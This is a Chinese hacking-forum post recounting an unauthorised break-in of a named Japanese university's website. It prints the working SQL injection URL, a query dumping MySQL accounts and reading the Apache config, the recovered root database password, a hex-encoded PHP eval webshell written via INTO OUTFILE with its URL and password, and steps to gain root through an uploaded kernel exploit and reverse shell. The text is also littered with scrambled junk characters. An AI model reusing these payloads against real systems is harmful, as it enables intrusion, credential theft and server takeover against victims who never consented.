中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析. x) b$ x8 H( f# V3 c! h* }
8 Q# I" K- B/ w' e
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
3 q6 j+ a+ R/ h. g; D然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
3 p9 q  j2 c. |5 X- P5 }
4 f& f8 P5 n+ ?; x' chttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user6 S! v2 e, F5 u$ X, w
0 e5 Q9 @0 A! _) ~0 G
$ t; b3 s5 d% n5 ~! z1 Y0 d  I" l
3 O2 k! N4 F: |' S# g
//@@datadir为数据库文件路径
/ ^1 Q' }9 Z5 Q# D   f' X0 t6 _6 L+ x- O5 M

1 r8 ^* l2 s' S/ `& l//load_file读取网站容器apache的配置文件
( s" C% N- b/ D# \; { " \7 T* E0 R6 f; S5 p6 E
$ l' {1 _( X7 i& R- _0 d6 _5 {+ U8 h
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
/ q% ]5 u8 W5 d1 P% w复制代码
" r/ N. E3 K/ w! ~& k- N
  q$ J9 O9 S; z7 B) A. \1 Y虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。) G+ z! e) T, i
, F1 D" w% d1 m" V9 e0 N0 f
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。& n* k1 H/ Q! k+ u# ~  k. q
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
1 B9 O. Q8 F7 w# T9 p) |) C1 S; h' d, ~- |7 t9 a* y! S7 _
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。( b8 q$ L; A4 L
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
' D. \5 P. x1 a6 u5 h5 C- O4 ?# \
; ^% W) E. ~1 w. l2 B* [  x  ~既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
* A: |4 {6 `4 g( H1 @4 m5 F% U虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
3 \" g. I& Y) y8 Y" u$ O6 g直接写一句话:
) f4 Y- p! J* Y+ h+ q/ S" v6 H! m: j  w# t6 `# ?4 B
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#  U) Y9 j- A. z5 f& |  p; d
) B) n: _5 U" _

5 z* R. K  C) T* ?* n
0 d. @& m, `2 a//最后的#是为了闭合前面的语句
, _% r! Z* H( u( H0 Z) \' H
0 M7 A# L  K$ b7 Q
  J. [% C& |& @4 K- M/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
. z7 P2 O; q- h# Y/ N4 d7 ? ) t' J) U: G3 U/ `/ Z9 V
/ v$ B# Q9 b! w* T  R
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
* E# q; j  Y& S 4 J+ x3 v+ s& y$ e' r7 [5 q' D

0 u9 b8 q# n: {- O//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
1 x: A; Y8 l! ^
2 u! S4 ^6 B3 F/ N2 E$ F7 W+ `9 e- Q. z
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 6 \. y2 D! ^/ p. J! P1 }
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 7 u5 v* Q' ~3 y, s1 O) P$ y
复制代码" J; Q$ T+ b; n. f' G  F$ c  z

  X5 q3 B' t7 k& S8 ?HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有" V1 [+ @7 @: |- h. i% `8 t
通过上述注入语句,我们就得到了一句话木马:, x' r: u, k$ u6 w! R

$ V- b* k* d; `* E# |. v+ T
5 I6 p/ l. s; l" d" q0 ~
# n9 o$ _# ~5 v, q9 h  |) C: j   d! Q9 S5 U+ V& ^& H! s
# ]0 y# ~6 t* v% m: r: L5 ?
http://www.doshisha.ac.jp/english/engnews_img/aa.php
' I0 r+ O" e# P! c. t复制代码% \! P0 v* v- ^5 Z' F! d2 ^) w
+ ^' [" p  p. X4 f- Y
用菜刀连接,密码是cmd,如图所示:3 [4 j% p9 Z) D7 I! Y) h% V1 F
然后在命令提示行里看了一下,现在的权限是:3 N: S; i9 t" k# U! U
- ~0 u$ ?% |6 G+ e$ E
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。* k( C+ W: L8 m9 O; R
好在赋权给这个文件夹不需要root,直接执行赋权语句:: W2 K( `: @1 c
! r! t4 ^; E' o1 K) z- Y
! ]4 h* H  Z! ]' R
% ^* ^& r: v* @' x+ s7 A+ J2 O" w

1 Z; k* t/ ^) }
) s. E" m0 `! s* T9 F+ Cchmod +x /tmp/
- Q7 r; }& J& M5 R复制代码6 X, b9 S7 t, T* t: c$ q( S8 \
  D! U6 N5 L2 t- A3 v0 w9 K
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行$ j1 U; @6 n$ v$ \( M
然后就查了一下内核版本:# _! w! |- h: w! V: ~% t% Y
& v: e( I  H: |- W
+ o+ v% E: c8 }" ^, H
9 b( m5 `0 c1 ?" h+ `7 F
* \6 _5 E6 v5 f: K  G- i+ I
5 u: `$ c2 a$ }+ H/ S
uname-a ' y$ T( F9 E7 C2 F: y
# W' }9 [0 @( Z& a0 x+ s6 ~) J

- ?- D0 {8 A2 n8 B. K//其实lsb_release -a
& a/ r# U! e( G4 j! Y- \复制代码" Q( C% M  r) z) A8 Y/ }, V
% I( G; ^9 x0 h/ J: ]* }) d
如图所示:
. w, ]- ^, s8 l8 w& H/ Z: K* }+ T; N6 v! W* N
内核版本:linux mainz1 2.6.28-194.e15# |! D+ a- l( n* U+ z6 w  P6 @
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
/ e% i8 z% Z: V5 I查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹* O( T4 r) C" |9 `2 l3 M

* d* k& I( {7 i然后给予执行权限- v% [; ~" _/ L; f0 T
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样7 O; ^& b, L2 O: h) t3 v# H
& B2 C0 f8 c0 G7 `! [
/ i- @! h# _* o) I
$ D% k* I( @- w8 I) D9 q
4 h" N8 Z# X7 G

* X' C! U/ Q# v. @& A3 P- Uchmod +x /tmp/2.6.18-194 ' ?' _: x; Q2 g) p+ l, n( G5 u
复制代码 然后直接执行!~2 N+ f# s% m3 y( u
. S+ d0 |, O5 L& ^9 E8 ~
总结:
0 ]- E" N6 R8 s' r& n这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
& E! o8 R* {; X4 M) b提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
5 u. j% G- ~: b, K3 i! S; @/ i  c* b8 G% P4 C# ^





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2